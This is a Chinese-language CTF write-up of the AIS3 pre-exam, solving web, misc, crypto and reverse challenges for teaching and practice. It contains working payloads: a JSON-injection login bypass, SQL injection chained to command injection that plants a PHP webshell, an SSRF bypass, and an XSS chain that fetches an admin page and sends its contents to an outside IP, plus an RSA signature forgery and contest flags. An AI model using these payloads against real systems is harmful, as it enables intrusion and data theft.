AIS3 Pre-exam Write up

第一次參加 AIS3 pre-exam,應該也算第一次自己打 CTF。上學期修了資安實務,才終於開始打 CTF,之前在資安社的時候都只是在下面聽聽,沒有真的認真打過比賽。最終解了 10 題,排第45名(。◕∀◕。)

我主要都是解 Web 題(Web*3, Misc*3, Crypto*2, Reverse*1),再陸續把各個項目低分的題目解一解。大部分 1xx 分的都滿簡單的,可以一眼就差不多看出題目的思路,找相關的資料或是需要耐心慢慢看就能看出答案。經過資安實務的摧殘產生的心裡陰影,有時候會把題目想的太複雜,突然解出 Flag 還會覺得:「蛤?就這樣喔,我想太多惹」。

花很多時間的 震撼彈-ais3-官網疑遭駭,是一個很惡劣的題目,靠眼力(+細心?)就能找到一個怪怪的封包,找到之後竟然還只是一個簡單的 shell,我大概花了三四個小時在摸那包封包吧。

最後的時間都在解 XSS Me,大概花了 6,7 個小時在東戳西戳,就是找不到繞過字數限制的 XSS 方法,最後也沒有解出來QQ。後來得到提示之後還是解出來了,也把 Write up 補一補。

ヽ(・×・´)ゞ

Welcome

Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi

Welcome 的題目,一個一個試密碼,大概 10 分鐘就可以試出來了。

Web

ⲩⲉⲧ ⲁⲛⲟⲧⲏⲉꞅ 𝓵ⲟ𝓰ⲓⲛ ⲣⲁ𝓰ⲉ

這一題是 Flask 的登入的頁面(還有很白痴的 CSS 讓整個頁面變很干擾),輸入 username 和 password,設法走到 Line18 就能拿到旗子。

FLAG = os.environ.get('FLAG', 'AIS3{TEST_FLAG}')
users_db = {
    'guest': 'guest',
    'admin': os.environ.get('PASSWORD', 'S3CR3T_P455W0RD')
}

@app.route("/")
def index():
    def valid_user(user):
        return users_db.get(user['username']) == user['password']

    if 'user_data' not in session:
        return render_template("login.html", message="Login Please :D")

    user = json.loads(session['user_data'])
    if valid_user(user):
        if user['showflag'] == True and user['username'] != 'guest':
            return FLAG
        else:
            return render_template("welcome.html", username=user['username'])

    return render_template("login.html", message="Verify Failed :(")


@app.route("/login", methods=['POST'])
def login():
    data = '{"showflag": false, "username": "%s", "password": "%s"}' % (
        request.form["username"], request.form['password']
    )
    session['user_data'] = data
    return redirect("/")

Line10: dict().get() 如果沒有取值成功,預設會 retrun None。所以只要構造出:

  • username: "apple" return None
  • password: None
  • showflag: 1

Line27-29 在 data 的地方可以插入 string,被 JSON parse 成 dict()

  • 如果有重複的 key,會以後面的蓋掉前面的
  • JSON 的 null 會被解析成 Python 的 None

Payload

username: a
password: ","password":null, "showflag":1, "a":"

HAAS

輸入一個網址,伺服器會去戳一下這個網址,然後回傳這個網站是不是活著的,如果網站掛了會顯示頁面上的文字。看起來就是一個 SSRF 的題目。

{
    "msg":"Failed",
    "detail":{
        "text":"500 Internal Server Error",
        "expected":"200",
        "actual":500
    }
}

戳戳看 http://localhost,會回傳 Don't Attack Server!

試著照:SSRF (Server Side Request Forgery) 的方法去 bypass localhost

試了一下用 http://2130706433/ 就繞過了。

5/22 重要公告

不太重要的題目敘述:

為了防止系統不穩定的情形頻繁發生,我們(AIS3 MyFirstCTF、Pre-Exam 出題團隊)耗時九年研發了一套服務來監控 Web 題目是否正常運作,歡迎參賽者使用,特此公告。

當點擊 Check! 的時候,會送一個 request 給 http://quiz.ais3.org:8001/?module=modules/api&id=1,然後回傳他是不是活著的。可以看出 moduel= 應該是去 include 一個檔案,而 id= 是用來 query 的一個參數。

{ "name":"Web Challenges Monitor", "host":"quiz.ais3.org", "port":8001, "alive":true }

module=modules/api,可以用 php:// 從這個地方去 leak 出原始碼,

http://quiz.ais3.org:8001/? module=php://filter/convert.base64-encode/resource=index

index.php

<?php include ($_GET['module'] ?? "modules/home").".php";

modules/api.php

<?php
header('Content-Type: application/json');

include "config.php";
$db = new SQLite3(SQLITE_DB_PATH);

if (isset($_GET['id'])) {
    $data = $db->querySingle("SELECT name, host, port FROM challenges WHERE id=${_GET['id']}", true);
    $host = str_replace(' ', '', $data['host']);
    $port = (int) $data['port'];
    $data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"), "succeeded") !== FALSE;
    echo json_encode($data);
} else {
    $json_resp = [];
    $query_res = $db->query("SELECT * FROM challenges");
    while ($row = $query_res->fetchArray(SQLITE3_ASSOC)) $json_resp[] = $row;
    echo json_encode($json_resp);
}

SQL injection

在 Line8 存在一個 SQLi。用 UNION 使得當前面 SELECT 空,回傳我們想要控制的任一個東西。

舉例來說:

SELECT name, host, port FROM challenges WHERE id=-1 UNION SELECT "a", "b", "c"

會回傳

{"name":"a","host":"b","port":"c","alive":false}

Command injection

在 line11 存在一個 command injection。可以寫一個 webshell。

echo${IFS}'<?php'${IFS}'system($_GET[1]);?>' >/tmp/evil.php;
  • 空白可以用 ${IFS} 繞過
  • 一開始不知道該寫到哪,發現 /tmp 有權限寫入的

Payload:

http://quiz.ais3.org:8001/?%20module=modules/api&id=
-1 UNION SELECT "a", "';echo${IFS}'<?php'${IFS}'system($_GET[1]);?>' >/tmp/evil.php;'", "443"

之後再去這個 webshell 裡面拿 flag。 http://quiz.ais3.org:8001/?module=/tmp/evil&1=ls /

XSS Me

這一題花了很久,但沒解出來,結束之後被提示才想出來 Qwq
題目:

admin 會在登入後訪問你所回報的網址,請試著偷到 admin 在 http://quiz.ais3.org:8003/getflag 頁面上的 flag 吧!

另外,此題有在 html header 中設定簡單的 Content-Security-Policy,可以參考:https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

是一個登入的頁面

  • 登入之後會到 /getflag 的頁面,但只有 admin 登入之後才會顯示 flag
  • 另外有一個 /report 可以向 admin 傳送一個網址。但!這個網址只能是 http://quiz.ais3.org:8003 開頭的。

XSS 進入點

唯一可以操作的只有登入頁面的 message box

<script>
    const message = {"icon": "info",
                    "titleText": "Logout success!", 
                    "timer": 3000, 
                    "showConfirmButton": false,
                    "timerProgressBar": true};
    window.onload = function () {
        if (message !== null) Swal.fire(message);
    };
</script>

在 Line3 的 titleText(網址的 message) 是可控的,是一個可以 XSS 的點,先閉合前面的 </script><script>alert(1)//

/?message=</script><script>alert(1)//

<script>
		const message = {"icon": "info", "titleText": "</script>
<script>alert(1)//", "timer": 3000, "showConfirmButton": false, "timerProgressBar": true};
		window.onload = function () {
			if (message !== null) Swal.fire(message);
		}
	</script>

但是!問題是這個 message 的長度是有限的,超過55個字元就會被切掉。例如:

CSP

<meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline';">

知道了可以 XSS 但碰到有限字數的問題。接著來探討一下 Content-Security-Policy 的部份,登入頁面的 CSP 為 default-src 'self' 'unsafe-inline'; 也就是說只能引用 source 來自同一個 Origin 的檔案 + 在這個 html 檔的 script

討論:

如果沒有這個限制,我們可以在 XSS 的地方,直接引入一個外部的 js 檔,例如:<script src="https://evil.com/hack.js">,就能繞過長度限制,這一題也就很輕鬆的被解掉了。而 CSP 就是為了防止引入危險的檔案而生的 Policy,限制網站只引用自己信任的 script/img/iframe…等等,使得這招沒辦法用了!!(XSS 剋星)

思路

整理一下這一題的思路:

  • 把有XSS的登入頁面,Report 給 Admin。
  • XSS 必須要能:
  • 訪問 /getflag
  • /getflag 頁面的內容傳回我們的伺服器
  • 限制
  • XSS 的 payload 很短(光是網址就幾乎不夠用了)
  • 沒辦法引用其他外部檔案

大魔王就是: 要怎麼繞過 XSS 長度限制?

透過 javascript: 可以用網址來執行 Javascript,所以把 location=javascript:alert(1) 一樣可以有 XSS 的效果。

除了 message 之外,我們還能控的就是網址的 hashlocation.hash

也就是說我們可以 XSS location=location.hash.slice(1)message,再控制 # 之後的值為javascript:alert(1),就能繞過長度限制了!

?message=</script><script>location=location.hash.slice(1)//#javascript:alert(1)

Payload

http://quiz.ais3.org:8003/?message=
</script><script>location=location.hash.slice(1)//#javascript:fetch('/getflag').then(function(resp){return resp.text()}).then(function(resp){location='http://my_ip:9000?'+resp})
javascript:
    fetch('/getflag')
    .then(function(resp){
        return resp.text()
    }).then(function(resp){
        location='http://my_ip:9000?'+resp
    })

Misc

Microcheese

因為原本的題目有 Bug,所以另外重出了一題的題目。基本上就是一個遊戲,遊戲的玩法是: 會隨機產生很多排石頭,你和電腦會輪流選一排、把 k 顆石頭移掉,最後移到全部清空的人獲勝。

但這都不是重點,重點是遊戲的 Bug:

沒有 else 的條件,也就是說我只要 choice='xxx',我就能跳過一輪。所以我只需要一直跳過、跳過、跳過,等到自己電腦玩到剩一排石頭,再收割成果就可以了。

if choice == '0':
    pile = int(input('which pile do you choose? '))
    count = int(input('how many stones do you remove? '))
    if not game.make_move(pile, count):
        print_error('that is not a valid move!')
        continue
elif choice == '1':
    game_str = game.save()
    digest = hash.hexdigest(game_str.encode())
    print('you game has been saved! here is your saved game:')
    print(game_str + ':' + digest)
    return

elif choice == '2':
    break

# no move -> player wins!
if game.ended():
    win = True
    break
else:
    print_move('you', count, pile)
    game.show()

Blind

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>

int syscall_black_list[] = {};

void make_a_syscall()
{
    unsigned long long rax, rdi, rsi, rdx;
    scanf("%llu %llu %llu %llu", &rax, &rdi, &rsi, &rdx);
    syscall(rax, rdi, rsi, rdx);
}

int main()
{
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    puts("You can call a system call, then I will open the flag for you.");
    puts("Input: [rax] [rdi] [rsi] [rdx]");
    close(1);
    make_a_syscall();
    int fd = open("flag", O_RDONLY);
    char flag[0x100];
    size_t flag_len = read(fd, flag, 0xff);
    write(1, flag, flag_len);
    return 0;
}

Line27 write(1, flag, flag_len); 會把 flag 寫到 STDOUT

Line22 的 close(1) 會把 STDOUT 關掉,導致後面沒辦法印出 flag,關鍵就在於要make_a_syscall()STDOUT 打開。

根據 How to reopen stdout if it is closed by the process who called exec | Stack Overflow,只要 dup2(2, 1)STDERR 的 FP 複製給 STDOUT,就能把 flag 寫出來。-> 32 2 1 0

[震撼彈] AIS3 官網疑遭駭!

下載下來會是一包 .pcap,用 Wireshark 打開會是一堆重複的封包,每隔一段時間,就會用 curl 去 request 一次這個網址。

  • DNS request
  • HTTP request: 10.153.11.126:8100
  • http://magic.ais3.org/index.php?page=bHMgLg%3D

Local DNS

先設定一下 DNS,使得 magic.ais3.org 可以訪問,在 local 只需要改 /etc/hosts

10.153.11.126 magic.ais3.org

http://magic.ais3.org:8100/index.php?page=bHMgLg%3D,只看到一個壞掉的 AIS3 官網。而 bHMgLg%3D base64decode 是 ls .,看起來疑似是一個 shell。

可疑的 request

如果非常仔細看的話,會在一片重複的 request 中,發現一個不一樣的

http://magic.ais3.org:8100/Index.php?page=%3DogLgMHb。而 %3DogLgMHb 是倒過來的 ls .

用這個 shell 就能拿到 flag 了。(有點邪惡的題目==)

Crypto

Microchip

def track(name, id) -> str ꞉                                                    {

    if len(name) % 4 == 0 ꞉                                                     ){
        padded = name + "4444"                                                  ;}
    elif len(name) % 4 == 1 ꞉                                                   ){
        padded = name + "333"                                                   ;}
    elif len(name) % 4 == 2 ꞉                                                   ){
        padded = name + "22"                                                    ;}
    elif len(name) % 4 == 3 ꞉                                                   ){
        padded = name + "1"                                                     ;}

    keys = list()                                                               ;
    temp = id                                                                   ;
    for i in range(4) ꞉                                                         ){
        keys.append(temp % 96)                                                  ;
        temp = int(temp / 96)                                                   ;}

    result = ""                                                                 ;
    for i in range(0, len(padded), 4) ꞉                                         ){

        nums = list()                                                           ;
        for j in range(4) ꞉                                                     ){
            num = ord(padded[i + j]) - 32                                       ;
            num = (num + keys[j]) % 96                                          ;
            nums.append(num + 32)                                               ;}

        result += chr(nums[3])                                                  ;
        result += chr(nums[2])                                                  ;
        result += chr(nums[1])                                                  ;
        result += chr(nums[0])                                                  ;}

    return result                                                               ;}

是一個改得像 Python 的 C++ code,是一個簡單的 trace code 題目。輸入 flag 和 id,會將

  • 先把 flag padding 到 4 的倍數
  • 每四個字元 ASCII 平移 id[j]
  • 再倒過來接起來

因為知道 flag 的開頭是 AIS3 所以可以先推出 ids = [10, 87, 42, 69]。逆推一個 function 把 flag 解出來。

def decode(result_c, id):
    num = ord(result_c) - 32
    num = (num - id) % 96
    decoded_char = chr((num+32))
    return decoded_char

result = "=Js&;*A`odZHi'>D=Js&#i-DYf>Uy'yuyfyu<)Gu"
flag = ""
ids = [10, 87, 42, 69]

for i in range(0, len(result), 4):
    temp = ""
    for j in range(4):
        cypher = result[::-1][i+j]
        temp += decode(cypher, ids[::-1][j])
    print(temp)
    flag = temp + flag

print(flag)

ReSident evil villAge

生成一組 RSA key,問題:

  • 用私鑰簽 $m=$Ethan Winters
  • 要繞過這件事
  • $σ(m)$ 解開是 Ethan Winters 就可以拿到 flag

標準的簽名要先過 Hash,但這邊沒有做,顯然就是一個漏洞

privkey = RSA.generate(1024)

n = privkey.n
e = privkey.e
        
if option == b'1':
    self.request.sendall(b'Name (in hex): ')
    msg = unhexlify(self.recv())
    print(msg)
    # msg+k*n not allowed
    if msg == b'Ethan Winters' or bytes_to_long(msg) >= n:
        self.send(b'Nice try!')
    else:
        # TODO: Apply hashing first to prevent forgery
        sig = pow(bytes_to_long(msg), privkey.d, n)
        self.send(b'Signature: ' + str(sig).encode())

elif option == b'2':
    self.request.sendall(b'Signature: ')
    sig = int(self.recv())
    verified = (pow(sig, e, n) == bytes_to_long(b'Ethan Winters'))
    if verified:
        self.send(b'AIS3{THIS_IS_A_FAKE_FLAG}')
    else:
        self.send(b'Well done!')

根據 Digital signature forgery | Wikipedia

$$σ(m1)⋅σ(m2)=σ(m1⋅m2)=σ(m)$$

所以我們可以把 b'Ethan Winters' 拆成兩個數相乘,先送過去簽完,再把兩個簽名相乘,得到 b'Ethan Winters' 的簽名送過去解開拿到旗子。

n = 161008626013132264270259043730241916024990901776063116291103134339988521562245064172643889538567956657240466317056320467600966460219429179446519842824514394869753078628603917505112413870482976450918525233169042716203065365857785470789511689963196814513840107873815974316446378972257419626996308740374463990471
m = 5502769663009776377079720669811

m1 = 163 # a3
s1 = 105234616304232730536228069659561038463403324412555675055512376583908760204982980426445969335548847734867174684658353670536778265027670383816113372798950338306691598117528290092925353624750749498663448144194536304127961232418118707236462097976895446566878485522727581241234892462144179737977467617217363570499

m2 = 33759323085949548325642458097 # 6d150ebb92427fdc8e1053f1
s2 = 74484970799181986434244692137252020111485183559158917451918886821990199927806135512204508624357449943752010354484401827114568638150830476356714196323861937492498362461131428798708143978196412170113555025164709679710035091666145808318210522779299626971274654182745478046869949637526236870292238742207693259341

s = (s1 * s2) % n
s
# 102792814089493668892946031709704580543160818024240574700331967710385998110033018693727230959210673402724448562242946571104920024755541392374295802891005957960798179584286422728226632417795865091490656199038154750908041794132576869076409717262850445001567694219045895665517276262435744499766196349161897136325

Reverse

Pekora

要從一個 .pkl 檔逆推回原本的答案。可以用 pickletools 導出 opcodes,一步一步跟著 OPcode 就可以拆出最好的答案。

python -m pickletools -a -o dis.txt flag_checker.pkl
GET 從記憶體拿東西到 stack
PUT 從 stack 拿東西
MARK 標記一個位子
REDUCE 很像是搞成一個 function

參考 OpCodes 的 OPcode。

memo0: 輸入的 string
memo1: getattr 類似 call function吧
memo2: exit, str, getitem 之類的東西吧

input[5]=='d'

MARK                                
    GET        1                    
    MARK                            
        GET        1                
        MARK                        
            GET        0            
            STRING     '__getitem__'
            TUPLE      (MARK at 530)
        REDUCE                      
        MARK                        
            INT        5            
            TUPLE      (MARK at 551)
        REDUCE                      
        STRING     '__eq__'         
        TUPLE      (MARK at 526)    
    REDUCE                          
    MARK                            
        UNICODE    'd'              
        TUPLE      (MARK at 569)    
    REDUCE                          
    TUPLE      (MARK at 522)        
REDUCE

input[9] 放到 memory 3

MARK                        
    GET        0            
    STRING     '__getitem__'
    TUPLE      (MARK at 330)
REDUCE                      
MARK                        
    INT        9            
    TUPLE      (MARK at 351)
REDUCE                      
PUT        3                
POP

最後就可以回推回

AIS3{dAmwjzphIj}

後記

Show Comments